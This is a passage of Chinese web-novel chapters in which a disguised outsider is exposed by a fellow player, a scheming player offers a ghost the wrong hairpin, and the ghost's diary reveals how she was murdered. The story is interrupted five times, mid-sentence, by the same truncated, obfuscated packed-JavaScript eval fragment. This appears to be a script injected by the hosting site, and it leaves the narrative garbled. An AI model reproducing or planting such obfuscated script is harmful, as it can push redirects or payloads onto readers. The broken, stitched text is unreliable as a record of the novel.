在旁边,听了江晏一番话后,黄成钢嘴角抽搐:“你是听不懂正反话吗!我根本不希望有什么奇怪的事发生!” 江晏冷漠:“噢。” 他要是搞不定这种小世界里的东西,也就别和分魂一起回原世界了。 然而黄成钢遭受了江晏的冷暴力,看起来更生气了。 此时,康林一个箭步上前,一手往后推着黄成钢,一手拉着江晏后退,口中直道“冷静,冷静”,将二人隔开。 退到了安全的距离,江晏被康林踩了一脚,康林一边说:“看不出来你有点蔫坏啊,故意刺激黄成钢是不是。” 她嘴上说着责备的话,眼中却闪着狡黠的光,往黄成钢那边看去。 但这一看,她却愣住了。 江晏宁时等人也感到不对劲,顺着看过去,只见黄成钢已经举着什么东西跪在了池塘边上,同时口中还喃喃说着什么。 此时正值上午,阳光照在他手上,隐约反射出了点点光芒。 是黄色的光。 不知为何,江晏感觉这个颜色熟悉地让人心慌。 他眯起眼睛,迎着阳光开始观察黄成钢手里的东西。 那是一个细长的条状物体。 江晏看着,三个玩家也看着。 突然,宁时大声说了一句“我去”,接着向黄成钢跑过去。 江晏知道宁时此时表现的原因,因为他自己刚刚也看清楚了黄成钢手里的东西——那是本应该还在村志馆里存放着的黄铜飞鸟簪。 江晏回想了一番自己离开博物馆时的动作。 把簪子放回去,关上柜门,搭上锁。 …… 可能是他们离开时过于着急,陈锦瑶最初用来开锁的那条铁丝,还留在锁孔里。 这就给了黄成钢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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噢,也许因为他真的很有把握能结束这个世界,所以才会口无遮拦。 而江晏并没有感受到一丝一毫世界波动的信息,他感觉黄成钢的愿望要落空了。 黄成钢说他的归说他的,但江晏自己也要做好符合此时身份的动作神态,尽量不ooc。 于是,江晏在黄成钢这几句话结束后,调动情绪,努力摆出一副茫然的样子,看向宁时。 江晏自认为演技过关,但他总感觉宁时的表情有点说不上来的不对劲。 也许是在和黄成钢正面互怼的原因吧,江晏想。 他准备悄咪咪往后挪几步,与这个是非之地稍稍拉开一点距离。 江晏才往后退了一步,感觉胳膊一沉。 他抬眼顺着胳膊看上去,是宁时的手。 宁时居然在和黄成钢的对峙中,见缝插针地匀出来一部分注意力给了他。 江晏心情一时有些复杂。 宁时张口说话了,用只有自己和江晏两个人才能听到的声音说:“你也真行啊。” 江晏:? 他确信宁时的声音带了一丝咬牙切齿:“别装了,你真的的npc吗?” 60. 伪装 依然是那句话: 江晏在这个世界里虽然没有心跳了,但此时依然感觉心脏漏跳了一拍。 脑中警铃大作。 他以回马灯的速度在脑子里过了一遍自己在这个世界的所做所为,最终无比确信问题出在黄成钢说出世界大秘密后自己的反应上。 不然为什么宁时不早不晚,偏偏会在这个节骨眼上察觉到不对劲? 江晏咬牙,又给黄成钢记上一笔账。 他心里又气又好奇,顺手反握住宁时的胳膊,准备问问他为什么怀疑自己。 但现在显然不是一个交流的好时机。 毕竟他们面前还站着一个活生生的黄成钢。 可能他和宁时刚刚磨叽的时间有点久,并视四周为无物,所以当江晏的注意力再回到黄成钢身上时,他总觉得对方怒气值好像涨了。 在江晏的视线盲区,宁时看着他,又顺着他的目光也看向黄成钢。 再次成为了所有人目光焦点的黄成钢:…… 往好处想,观众的注意力都回来了,他可以尽情表演了。 黄成钢清清嗓子:“你们是我见过的最不思进取的团队。” 众人:“噢。” 黄成钢:“……但是我很卷,你们耽误了我的进度……” 康林打断了他的话:“去你的吧,什么进度,你想独吞奖励就直说。” 黄成钢喉头滚了滚,咽了口吐沫:“奖励本来就应该是对任务贡献大的人多拿,应该由我把簪子还给沈二二。” 旁观的陈锦瑶:“啊?” 黄成钢闻声看了眼她:“做女人真轻松啊,什么都不用付出,等着我们干就好了。” 陈锦瑶眼睛睁圆了,看起来是想骂他。 但女高苦于某些词汇量的贫乏,半天没憋出来一个字。 黄成钢傲慢地笑了。 他扫视了一圈众人:“等着通关的消息吧。” 最后又看了眼江晏:“噢,差点还忘了这里有个npc。” “你会重新开启一段人生循环”,黄成钢上前走了两步,到了江晏和宁时面前,从头到脚扫了遍江晏,继续说:“真可怜。” 又看了眼宁时:“说真的,你和我见过的很多人都不一样。” 他的眼睛被肉挤着,有恶意闪烁:“你是个变态,不喜欢女人。” 江晏听了,猛然抬头看向宁时。 宁时却依然是平静地,平静地看着黄成钢发疯。 明明两人之间没有说一句话,江晏心里却渐渐安定下来。 他知道,宁时这副模样是在酝酿着什么。 而对此一无所知的黄成钢依然在输出,他看着宁时,却指了指江晏:“你是喜欢上这个npc了吧。” 江晏:? 突如其来的一口大锅。 他自认为在这个世界里和宁时的交往正常极了,谁知黄成钢居然往那个方向想。 江晏感觉自己有必要说点什么了。 宁时却比他更先开口:“怎么了,你到底想说什么?” 黄成钢哈哈大笑,上半身剧烈摆动:“哈哈……没想到啊!你居然会转移话题……看起来更像是真的的。” 他的笑从癫狂逐渐变得阴森:“我看你不顺眼很久了。” “老子平生最恨死装的人了。” “哈哈哈哈,你们把我当傻子,却不知道我在悄悄布局,你们早已被我玩弄于掌股之间!” …… 江晏起初只觉得黄成钢疯了,现在他确信黄成钢不正常了。 他感觉黄成钢可能看过什么旗手与棋子之类的文学。 江晏发誓自己真的不是故意笑出声的。 但黄成钢明显听到了,他的注意力转移到了江晏身上。 江晏从快乐变成不快乐了。 因为他听到黄成钢说:“我看这npc也不顺眼很久了……尤其他和宁时那小子走得那么近,让我想想,在离开这个世界之前,应该怎样报复他呢?” 宁时皱眉:“他只是一个npc,何必。” 黄成钢挑眉:“这话说的,只是一个npc,你何必如此紧张?” 宁时:“只是感觉你没有必要牵扯到无关的人罢了。” 黄成钢说:“可我乐意找他麻烦”,又打量着江晏:“npc是会固定刷新的,所以……无论怎么打都没有关系吧。” 宁时脸上微微变了。 江晏听及此处,也简直忍无可忍了。 他微微扭了下手腕,跨上前一步,准备给黄成钢来那么一下子。 就在江晏蓄力时,似乎什么东西闪过去了。 很快,就闪了那么一下下。 闪过去之后,周遭平静地像什么都没有发生过……不对。 那道闪过的不明物体还是带了了变化的——它带走了黄成钢。 黄成钢就这样在青天白日下在众人面前消失了。 玩家们面面相觑。 与此同时,似乎有什么声音从池塘中央传来。 众人按捺着心中疑惑,慢慢向池塘边靠近。 一切豁然开朗。 那声音来源于刚刚消失的黄成钢。 黄成钢似乎被什么东西卷到了池塘中央,挣扎不开。 而江晏和玩家们刚刚听到的声音,就是被他带起的水花和他的呼救声。 由于被黄成钢新鲜热乎地摆了一道,面对此情此景,玩家们不约而同地沉默了。 他们静静看着黄成钢被什么黑色的、类似于触手的东西卷起,又狠狠拍在水面,如此反复数次。 黄成钢撕心裂肺的呼喊声渐渐变小了。 江晏想到了什么,他看着宁时。 宁时也在看他。 两人对视一眼后,宁时:“……你先说。” 江晏叹了口气,指了指池塘中央奄奄一息的黄成钢:“这怎么办?不会真的要死了吧。” 宁时眼神闪烁:“他刚刚准备害你,你不希望他死?” 江晏无语了,他戳了戳宁时胸口:“别装了,你刚刚想说的话也是去救他,不能让他死。” “他死了,你们这些天就白干了。” 在刚刚被宁时怀疑身份之后,江晏有些自暴自弃了。 宁时能猜到他身份不对劲,那自己也没必要藏着掖着了,不如给他们玩家一些小提示。 果然,面前的宁时不置可否地点着头,并用一种奇异的目光看着他。 宁时抬手,攥住了江晏戳在他胸口的手指,并用力压下去,用两个人才能听到的声音说: “所以你真的是沈冬吗,还是有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在他们的疑惑中,已经陷入昏迷的黄成钢渐渐接近了岸边。 康林低头看着黄成钢和那浮动的头发:“……她在干什么。” 陈锦瑶:“总不可能单纯地把黄成钢送回来吧。” 江晏突然产生了一个猜测:“我有个想法……” “黄成钢刚才在岸边做了不止一件事,大致可分为献给沈二二黄铜飞鸟簪,和,呃,辱骂沈冬?” 三个玩家的眼神一言难尽起来。 江晏继续:“所以,我们不能确定沈二二这样对黄成钢的原因是哪个。” “但刚刚康姐也说了,现在这个世界的状态不像我们选对了簪子。” “所以,”江晏咽了口吐沫,语气变得奇怪起来,“黄成钢被沈二二锤了一顿该不会是因为他给错簪子了吧?” 一时间没有人说话。 众人安静地看着被水流和黑发带上岸的黄成钢,和一只在他旁边带着明亮水迹的飞鸟簪。 气氛更萧瑟了。 61. 真·女鬼 宁时看着离众人越来越近的黑发,嘴角抽搐。 江晏有点想叹气,这个世界和上一个世界真的太不一样了。 他看着水淋淋的黑发从池塘里扬起来,停在了半空中,不断有大股流水顺着最高处的发尖流下来。 玩家们几乎屏住了呼吸。 黑发左右轻轻动了动,然后众人听到了一个女孩子的冷淡的声音: “拿错了,给我放回去。” 众人还未反应过来,之尖那黑发突然浸入水中,然后朝岸上一甩—— 包括江晏在内,所有人结结实实被淋了一头一脚的水。 衣服已经完全被泡透了,有水珠顺着衣角接连不断地滴下。 众人抹了把脸上的水,茫然抬头,却只见到平静的水面,沈二二已经消失地无影无踪了。 江晏拧了拧上衣,忍不住对水面道:“怎么说在这个世界你还算我姐姐呢,就这样对我?” 一旁康林扶额:“你的马甲不打算要了吗。” 江晏露出一个笑,指了指地上的黄成钢:“本来打算就这样到结束的,但谁知道他差点把自己作死带的我们满足不了任务条件。” 宁时冷漠:“你闭嘴吧,谁掉马还这么能说。”又指了指池塘:“看,你乱说话,人家过来找你了。” 江晏看去,果然见岸边池塘水下有水草一般的发丝起伏——沈二二听见他刚才的话,竟是又回来了。 他便下意识地往后退了两步,毕竟刚才被淋的衣服还湿者黏在身上。 但这次沈二二没有对他们做什么。 她只是用头发卷起了地上的一根树枝,在还湿润的土地上一笔一划写着: 你当然不是我弟弟。 我弟弟只会在每个世界开始的时候失忆。 我见过你们这种一批又一批数不清的外乡人。 他们会强迫我弟弟做一些他不愿意做的事。 我很不高兴。 但这次不一样。 带水的发丝拧成一股从水里升起来,指了指江晏的方向: 你是一个偷渡过来的……东西。 我不知道你是怎么来的,为什么来的,我也不关心。 我只知道,因为你的到来,小冬的灵魂在这个世界的某处沉睡,得了片刻安宁。 我们做个交易吧。 我帮你们通关,你们在许愿时,要让小冬脱离这个世界的控制。 众人安静下来。 沈二二的话里信息量太多了。 有npc自我意识的事,也有江晏身份的事,最重要的是,她说能帮助完成任务。 尽管玩家对江晏的身份有千百种疑问,但在能完成任务的诱惑下,这个疑问被短暂地抛之于脑后了。 宁时看着地上那还带着水迹的飞鸟簪:“所以这不是你的……不对,不是你最重视的簪子?” 他捡起飞鸟簪:“那会是什么呢?” 沈二二的头发卷起一股流水,把地上划出的字迹抹去,道:“我猜你们没有看到我的日记吧。” 找到了日记但还没有看的江晏:…… 沈二二语气怏怏:“你们找到的话可以看看,反正出了这个副本我们就是陌生人,你们看了也没有关系。” “这样才有人记住她。” “现在不说这些了,我直接告诉你们答案吧。” “你们应该给我的簪子是……” 陈锦瑶突然出声了:“您好,我有个比较有把握的猜测,我可以说一下试试吗。” 众人的目光集中在了她身上。 这个看起来一向羞涩的女生果然有些脸红了,她即使做好了心理准备,面对这么多人的关注,一时也紧张起来。 陈锦瑶向前走了两步,蹲在岸边,用不大不小的声音说:“我猜我们应该吧白银梅花簪给你。” 除了晕着的黄成钢,众人神色都有些茫然。 康林神色动了动,最先反应过来,长长舒了一口气。 江晏看看她,又看看水面。 果然,池塘里传来沈二二的声音:“在没看过日记的情况下,居然猜对了。” “很多人可是看了日记还拿着黄铜飞鸟簪来找我呢。” “那我就不多说了,你们看着干吧。” 说完,只见池塘翻起微微涟漪,水面荡漾,映着站着的四人和躺着的黄成钢的影子。 宁时:…… 江晏看着陈锦瑶:“妹子你太厉害了,解释一下嘛。” 陈锦瑶看着他灼灼目光,后退了一步:“啊……就是猜的啊。” 宁时:“那猜也得有思路啊,我向小妹妹学学。” 陈锦瑶:“……” 她看起来有些无语,似乎不能理解这两个男人为什么会想不到,摊摊手:“李叔不是说了嘛,她和李三花是好姐妹。” “李三花还把卫余泽杀了。” “任务里要给沈二二的是她最重视的簪子,又不一定是她自己的。” “而沈二二和李三花交换过簪子,好姐妹做到这种程度,那答案肯定就是梅花簪了。” …… 江晏和宁时双双恍然大悟。 任务里说的是最重视的簪子,但很多人由于思维定势,会认为这里的女孩子会最重视属于自己的那个簪子。 所以他们最初才选择了黄铜飞鸟簪。 想明白这一点后,众人慢慢将视线移到了还在地上趴着的黄成钢身上。 ……如果沈二二是个普通无限流boss的话,以黄成钢刚刚的莽劲儿,现在大家可能已经团灭了。 在玩家们充满怨念的注视中,黄成钢手指动了动,慢慢熟悉了。 这个中年男人显然一开始还没有搞清楚状况,他先是睁开眼,双眼放空,盯着头顶空旷的天,喃喃道:“终于……出来了。” 宁时一个跨步上前,微微俯身,对他摆了摆手:“没有出来呢。” 黄成钢的表情凝固了。 江晏也站到宁时身边,低头看着黄成钢:“副本还没结束呢。” 黄成钢的表情出现了裂痕。 江晏看着他脸上的风云变幻,也是能理解他这副样子的—— 毕竟一个人害人未遂还让对方知道自己的真实想法后,还要和对方继续相处,这场景搁谁身上都会失去表情控制的。 但黄成钢从某种意义上讲确实是个人才。 他很快调整好了自己的状态,站起来,对众人微笑道:“呵呵,刚才为了通关情绪有些着急了,请诸位多多见谅。” 他说完此句,周围一片安静,没有人接他的话茬。 黄成钢可能自己也觉得尴尬,但形式所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江晏:“……别看我长得小,我比你大。” 宁时:“噢。” 江晏又问:“你在外面的世界是干什么的?” 这次,宁时没有老老实实回答。 他看了看前面三个人,又看着江晏:“你到底是什么?” 江晏眯起眼:“你猜啊。” 宁时还真猜起来了:“你不像是有自我意识的npc。” 江晏来了兴趣,用胳膊顶了顶他:“为什么这么说啊。” 宁时微微低头,就能看到一个脑袋在自己身边乱拱。 这种感觉……好像也不错。 于是,他组织好了语言,答道:“感觉觉醒的npc应该不会是你这个性格。” “你看起来……好像没有什么特别特别的执念。” 说完,便垂下眼,看着江晏。 等待着江晏或真或假,或者根本不存在的回答。 62. 谣传 江晏不清楚宁时现在的小心思,他只是在心里直拍大腿,心说这可算是说对了。 相比于执念这个说法,江晏更愿意称之为目标。 要是在从前的话,江晏还能记住的“执念”不算少,比如什么时候突破,如何降低攻玉剑的保养费用等等。 ……以及自己为什么失忆的问题。 但是。 现在江晏在原世界的本体甚至不能算是活着,因此,他有再多的想法,也只能先放下来。 他现在只有把分魂收集回来,才能有以后。 一个人只有认清了自己,才能真正从过去走到了未来里。 江晏自认为,他现在最大的事就是陪着分魂。 分魂想干啥,他就跟着一起干。 哄分魂就是在哄自己,分魂哄好了,收集成功了,他的任务也算结束了。 他才能继续回到原来的世界里,渡劫,然后继续当他的江峰主。 所以,目前的江晏,确实没什么执念。 因为不具备有执念的条件。 江晏想着,边问宁时:“那你说说,有自我意识的npc可能有什么执念呢?” 宁时:“就像刚刚遇到的沈二二啊。” “或者我常住的那个世界里,最近流行的npc觉醒文。” “是想依靠自己的意志,创造一种新的可能,走进一个新的故事里。” “但你不一样,我不知道你为什么总跟着我,也不知道你想要什么。” 江晏没有回答,只是露出了一个堪称慈爱并充满了包容的笑容。 傻孩子,我只有跟着你一起,才能创造出你说的新的可能啊。 我们会在经历了大大小小的世界之后,一起回到我们最初在一起的那个世界里。 就像从来没有分开过一样。 我们在一起,在有合江宗和江峰主的世界里,去迎接新的故事。 江晏的展望没有持续太久。 因为从池塘到家的这段路,用不了太长时间。 他和玩家们一起回到了住处。 这一路上,因为黄成钢的事情,气氛一直有些奇怪。 到了住处,这种奇怪简直到达了顶峰。 众人都或明或暗地打量着黄成钢,江晏相信,他们和自己一样,在思考着同一个问题。 ——那就是如何处理黄成钢。 黄成钢人不地道,但是会察言观色。 这一路上,他也琢磨出来了,在经历了欺骗后,玩家们对他的信任已经跌倒零点以下,是怎么补救也补救不回来了。 所以他编再多的借口,找再多的理由都没有用。 不如大大方方承认自己是个恶人。 于是,黄成钢看着众人,先说话了:“你们要是不放心,我可以搬出去住。” 陈锦瑶小声说:“我怎么感觉看不着你的话更不放心呢。” 康林懒洋洋道:“是得拴在身边看住”,又扭头问江晏,“你觉得呢?” 江晏:“……你们自便,话说为什么要问我一个外人。” 康林大大方方地打量着他:“因为我没见过你这种既不是玩家又不是npc的存在啊。” 江晏:“好嘛,其实没什么的。” 康林说:“真的好想研究一下啊……抱歉,是我在三次元压力有点大了。” 宁时被他们的谈话吸引,挪到了江晏身边。 在听完康林的大胆发言后,他默默挨得江晏更近了,不动声色地挡住了对方半个身子。 但江晏显然没有会意。 他扒拉了一把宁时,口中还道:“唉唉,那么大地方,你非到我面前刷存在感是吧。” 康林呆了一瞬,接着爆发出难以抑制的大笑。 宁时脸上则是风云变幻,最终对着江晏挤出一句:“没关系的。” 江晏:? 完全不知道他为什么会这么说。 宁时又重复了一遍:“……没关系的,不懂人类社会的语言,可以慢来的。” 江晏这次听懂了,所以接下来他就怒了。 由于在场的所有人中只有宁时让他生气了,为了保护对方的面子,所以江晏决定只用两个人能听见的声音快速谈一谈。 他面无表情地拍了把宁时的后背,踮起脚,在宁时耳边说:“我是人类。” 宁时似乎是抖了一下:“噢,那可见你语文学得并不好。” 江晏想了想,反驳:“可你连繁体字都认不清。” 宁时有点崩溃了:“好吧我的意思是你阅读理解肯定分不高,还有我们非专业人士一般不会特意学繁体字的。” “不要总用沈冬的日记笑话我了啊——” 一旁,比宁时更崩溃的是黄成钢: “——为什么你们在讨论处理我的话题中还能跑题到聊起来?!” 不得不说,黄成钢确实提醒了四人。 江晏干咳了一声,宁时用曲起的食指顶顶鼻梁,副本里的气氛渐渐恢复了严肃。 现在,摆在他们面前的是一个大问题:如何在处理黄成钢的同时,还要保证他的人生安全和任务顺利完成。 …… 沉默。 最后大家一起拍板:把黄成钢手绑住,一直带在团队中。 这样,即可以保证黄成钢离不开玩家们的控制,也方便确认他有没有搞什么小动作。 什么,你说黄成钢会偷偷跑了? 这个问题四人也想过,但毕竟他们这个世界看起来很快要结束了,黄成钢翻身的概率不大。 几人吃过饭后,绑好了黄成钢,把他放在椅子上,围成一圈,开始研究沈二二的笔记。 ——是了,这是江晏的主意。掉马后的江晏无所畏惧,已经把沈二二的笔记共享了。 不过出乎他意料的是,本以为笔记依然是只有自己可读的状态,但今天在他再次翻开时,玩家们也能看见字迹了。 众人猜测可能因为和沈二二接触过的缘故。 不过既然无字天书已经不是无字,众人便不再纠结其中玄妙,而都将注意力转移到笔记本身的内容上来。 笔记一页又一页揭过,沈二二的人生也就这样呈现在众人面前。 这其实是从前一个很普通的故事,那些情节,在世界上发生的并不少。 但一旦发生了,摊在一个人身上,就是一座大山。 …… 二百多年前,这里的村庄生活着许多人。 有一个小女孩,她有父母,有弟弟,还有和她一起长大的好姐妹。 她家庭条件不算很好,但足够把她养大。 既能养大她的身体,也能养大她的灵魂。 在她十一岁的时候,她认识了足够日常使用的字,所以她找了一个厚厚的本子,开始记录每天的生活。 她会路过家旁边的桃树,去找小姐妹玩。 会牵着弟弟走过田野和小巷。 会在很多个夜晚,看着天上的星星。 她一直在长大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她想冲到卫余泽家里把这始作俑者宰了。 但也仅限于想想而已。 她决定找自己的小姐妹聊聊,缓和一下情绪。 不得不说,好姐妹确实在很大程度上治愈了她的不开心。 好姐妹说:“咳,他确实惹不起,但我们可以躲着呀。” “你自己先不要拿这些假的当回事,后面,人们也会慢慢忘记它的。” “他们的目光会聚集在更新的八卦上。” 好姐妹揉了揉她的脑袋:“你想吃什么?我给你做。” 她看到,好姐妹说这话时,她头上带的梅花簪闪着银光点点。 和好姐妹温柔的脸交相辉映。 有点好看,她看呆了。 最后冒出来一句:“你真好看,你的簪子也好看。” 好姐妹羞涩地笑了,又取下自己的簪子,递给她:“你试试?” 她便也拆下自己的簪子,交换给好姐妹:“你也试试。” 她们都带上了对方的簪子,揽镜自照,颇为满意。 好姐妹:“好看,我们换着戴一阵?” 她对着镜子,摸着自己头上用白银雕刻的朵朵梅花的簪子,“嗯”了一声。 63. 笔记之外的故事 就这样,飞鸟簪和梅花簪在她们头上交换了位置。 这个村庄里普普通通的姑娘说:“你戴着也挺好看的。” 她的好姐妹便又抬手摸了摸头上的飞鸟簪。 她又说:“我感觉它给我带来了好运。” “我用它刺伤了卫余泽,逃走了。” 她的嘴被姐妹捂住了。 她看着对方,眨眨眼示意姐妹松手,然后又说: “不要这么紧张,我的人生才过去了这么十七年,我还想好好活着呢。” “不用担心我做傻事,嗯,希望飞鸟簪也能给你带来好运。” …… 从剩余纸张的厚度能看出,笔记要结束了,但事情还远远没有到该结束的时候。 在最后一页笔记上,江晏看到了之前见到过的那些凌乱的字迹: 卫余泽去死。 笔记停在了这里,后面是一些无意义的线条。 玩家们面面相觑。 陈锦瑶:“只有这一点?” 宁时:“不应该啊。” 江晏顺手合上了笔记,转过身面对玩家:“我们再找她问问?” 除了被绑着的黄成钢,玩家们都默默后退了一步。 江晏摊手。 他面前康林的神色突然微微变了,抬手指着他身后。 江晏:? 他一边疑惑,却发现面前几人的脸越来越亮。 ……很好。 他 宁时大步上前,顺手掰着江晏的肩膀把他整个人转了回去,面对着笔记:“笔记在发光。” 那幽幽的白光映在江晏瞳孔里,是一个女孩子的灵魂在诉说那些她无法用自己作为人类时的双手记录的故事。 白光愈发明亮,里面隐隐约约出现了颜色浓淡的变化,画面逐渐呈现。 江晏把宁时的手从自己肩膀上拿下,有些无奈:“你在害怕吗?” 宁时瞳孔地震:“什么?” 江晏以为自己说得不够清楚,还又解释了一下:“你的手一直搭在我肩上,我以为你害怕,想从外界汲取力量。” 说完,拍了拍宁时的肩:“没事的,她看起来是个好鬼。” 宁时的声音好像从牙缝里挤出来的:“谢谢你的安慰,但我一点,一点也没有害怕。” 不等江晏有什么反应,他把脸移开了,正对着那笔记:“先看看这是什么吧。” 江晏便也把注意力放在了那些好像幻境一般的图像上,一边小声和啾啾说:“他怎么不领我情啊。” 啾啾:“……他快要被你气死了好嘛。” 江晏大惊:“我在这个世界还对他不好吗?就差手把手拉着他通关了,他,他居然还生我的气?” 啾啾在意识海中又跳上了江晏的头顶:“他要的又不是这个,算了,没你事了,玩去吧。” 江晏:“……你敷衍我。” 啾啾:“啾!没有!这个世界你肯定能完成任务的,行了吧。” 江晏用意识体把啾啾从头上拽下来:“这还差不多。” 啾啾虽然总和他插科打诨,但在任务方面还是很靠谱的。 既然是啾啾亲口认证的肯定能完成任务,江晏自己也放心了一大半。 他便彻底将注意力转移到现在的世界中,看着沈二二笔记上放映的画面。 …… 这个普普通通的女孩的快乐没有持续多久。 在和姐妹轻松愉快的会面之后,她迎来了一个很坏的消息。 ——不知道卫余泽抽哪门子疯,去她家里下了聘书,许的还是正妻的位置。 她惊呆了。 她和同样惊呆了的家人,一起坐在堂屋里讨论着。 她的爹娘爱她,在听了这么多天外面传的风言风语后,认为嫁给卫余泽做正妻是现在最好的选择了。 毕竟,卫家是本地最厉害的家族了。 而她的名声已经坏了。 她却站起来,怒道:“我不去!我不稀罕!” 母亲劝她:“卫公子看起来还算喜欢你,这也算条路子。” 她委屈极了:“他分明是享受控制别人的感觉,不然他怎么会让那些流言传出来?” 她说得在理,爹娘一时沉默了。 她乘胜追击,又把卫余泽的心理条条缕缕分析给爹娘。 最后,她的母亲重重拍了下桌子:“大不了我们不嫁了!” 她的父亲也默许了,第二天,就把聘书还给了卫家。 而她像往常一样,去池塘边捞鱼。 “退婚”后的她,心情大好,但却在池塘边,看到了最不想见到的人。 是卫余泽。 卫余泽这次是清醒的,而且也学聪明了,带着侍卫。 在场的足足有近二十人,而她,只有自己。 卫余泽说,你不嫁,行啊,我让你家在这里活不了。 她一边害怕,一边嘴硬:“你家能有这么厉害?” 卫余泽冷笑:“知道我爹是谁吗?知道这里谁和村正关系最好吗?” 她有点被吓到了,心里很乱。 她转身,想离开这个是非之地。 面前却多了一只手——卫余泽拦住了她,又塞给她一张纸:“拿着,这是聘书。” “做好成为我的女人的准备吧,在家等着我的迎亲吧。” 他话锋一转:“当然,你不想也可以。不过这样我就会心情不好,我心情不好,就要拿你家里人撒气。” “懂了吗?” 说完,放下手,任她离去了。 她捏着那张纸,回了家。 这张纸,像一块冰,像一块碳。 一会儿让她心灰意冷,一会儿让她气血翻涌。 她的一家人再次围着这聘书,坐在了堂屋里。 她声音抖着:“我还是嫁吧。” 爹娘看着她。 她想了想,找补道:“他家里条件应该不错……” 话没说完,爹娘开始哭了。 她愣了愣,也哭了。 几天后,她穿着卫家送来的婚服,坐上了卫家迎亲的轿子。 喜轿颠簸,光线昏暗。 她头上发饰的流苏,一下一下地扫过脸颊。 她咽了口吐沫,抬手在头上摸到了一只冷硬的,带着繁花纹饰的簪子。 是好姐妹给她的东西,在此时此刻,给了她一部分勇气。 喜轿动着动着,突然停了下来。 她听见了一个熟悉而令人厌恶的声音隔着轿帘响起:“我想看看她在不在。” 中间有侍从阻拦的声音,无非是说这个时候新郎新娘见面不吉利之类的话。 卫余泽不在意,她也不在意。 也许他们两个,都在希望给对方带来厄运。 她的眼前撒下一片刺目的天光,卫余泽最终还是掀开了帘子。 她木着一张美人面,对上他胜利者的目光。 那些被她努力压抑了很久的情绪,突然产生了松动。 她想,该怎么弄死卫余泽呢。 面面前,卫余泽无视了侍从们的阻拦与惊呼,拽着她的胳膊,略为粗鲁地把她从轿子里拉了出来。 她大红色长长的衣摆粘上了地面上的杂草。 她被卫余泽跌跌撞撞地拉到了池塘边。 侍卫们不敢跟上来,站得远远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他的手从她的下巴处,沿着下颌,缓缓移到了脖子上。 这个位置有些危险了,她开始感到慌了。 卫余泽又挂起了笑,却是皮笑肉不笑:“是该教育一下你,让你长长记性,知道什么话不该说。” 说完,双手用力收紧。 她大惊,在空气被剥夺的窒息中拼命推搡。 不知过了多久,脖子上的力一松,新鲜的气体涌入肺部。 她跌坐在地上,拼命咳嗽。 卫余泽站着,垂眼看着她:“如何?” 她咳得昏天黑地,一边不忘抽空抬头,对他怒目而视:“小人!” 卫余泽又笑了,他俯下身,再次掐住了她。 她再次挣扎了起来。 卫余泽的本意是吓吓她,让这只他捡回来的会挠人的小猫变得乖巧一些。 但她挣扎的幅度却渐渐小了,最后整个人不动了。 卫余泽意识到了不对,松开手,拍了拍她的脸:“欸?” 她没有回应。 卫余泽站起来,踱这步子快速转了几圈,又蹲下探了探她的鼻息。 这下他整个人呆住了。 他蹲在地上,不知道在想些什么。 如此过了一柱香的时间后,在远处的侍从也察觉了不对劲,小跑到了他身边。 在这期间,她就静静躺着地上,没有再动过一下。 卫余泽在这一柱香的时间里,已经渐渐冷静下来。 他和侍从交代了几句后,便多了几个仆役上前,抬起了她。 他们抬着她靠近了岸边,然后把她扔了下去。 开在她头发上的梅花和她一起浸入了水中。 64. 交易成功 笔记上的影像演到这里,还没有结束。 但和任务有关的事情已经非常清楚了。 卫余泽失手杀了沈二二,又打了沈冬之后,然后可能是出于某种征服欲,去求娶李三花。 李三花则是为了沈家报仇,刺死了卫余泽。 再之后的事情,和玩家们的任务已经没有多少关系了。 但面前的影像还在演着,也没有人说停下不看。 于是,他们看到了这一场悲剧的后记。 卫余泽被李三花杀了,而李三花也死了。 卫家急需找个地方要说法,这个地方自然就成了李家。 卫家是地方豪强,但李家也不是吃素的。 两家交锋之际,恰逢现任村正犯了事,很快,便来了新的村正。 李家便把卫家这些年做的事一股脑捅了上去。 很快,卫家迎来了法律的制裁。 …… 笔记上的光闪了闪,好像电源接触不良一般,之后最终是灭掉了,没有再亮起来。 这个故事结束了。 众人不由得呼出了一口气。 宁时摸了摸笔记封面:“倒也还算个差不多的结局,只是可惜了。” 康林“嗯”了一声:“我感觉任务快能结束了,明天把黄铜飞鸟簪还回去,带出来梅花簪给沈二二,嗯,应该就差不多了。” 宁时点点头,把手下的笔记拿起来,递给江晏:“这个东西还是从哪里拿的,放回哪里吧。” 于是一行人又忙活起来,把前一天刚翻出来的各类物品一一放好。 整理完这些后,天色便黑了下来,江晏在暮色中,再一次感受到了熟悉的腿麻。 江晏:……又忘记了这是一个碍事的身体。 鉴于他现在已经脱下了马甲,自然不用编那些“我困了”“腿麻”之类的瞎话了。 江晏便对着宁时,直截了当道:“我要上床休息。” 宁时:? 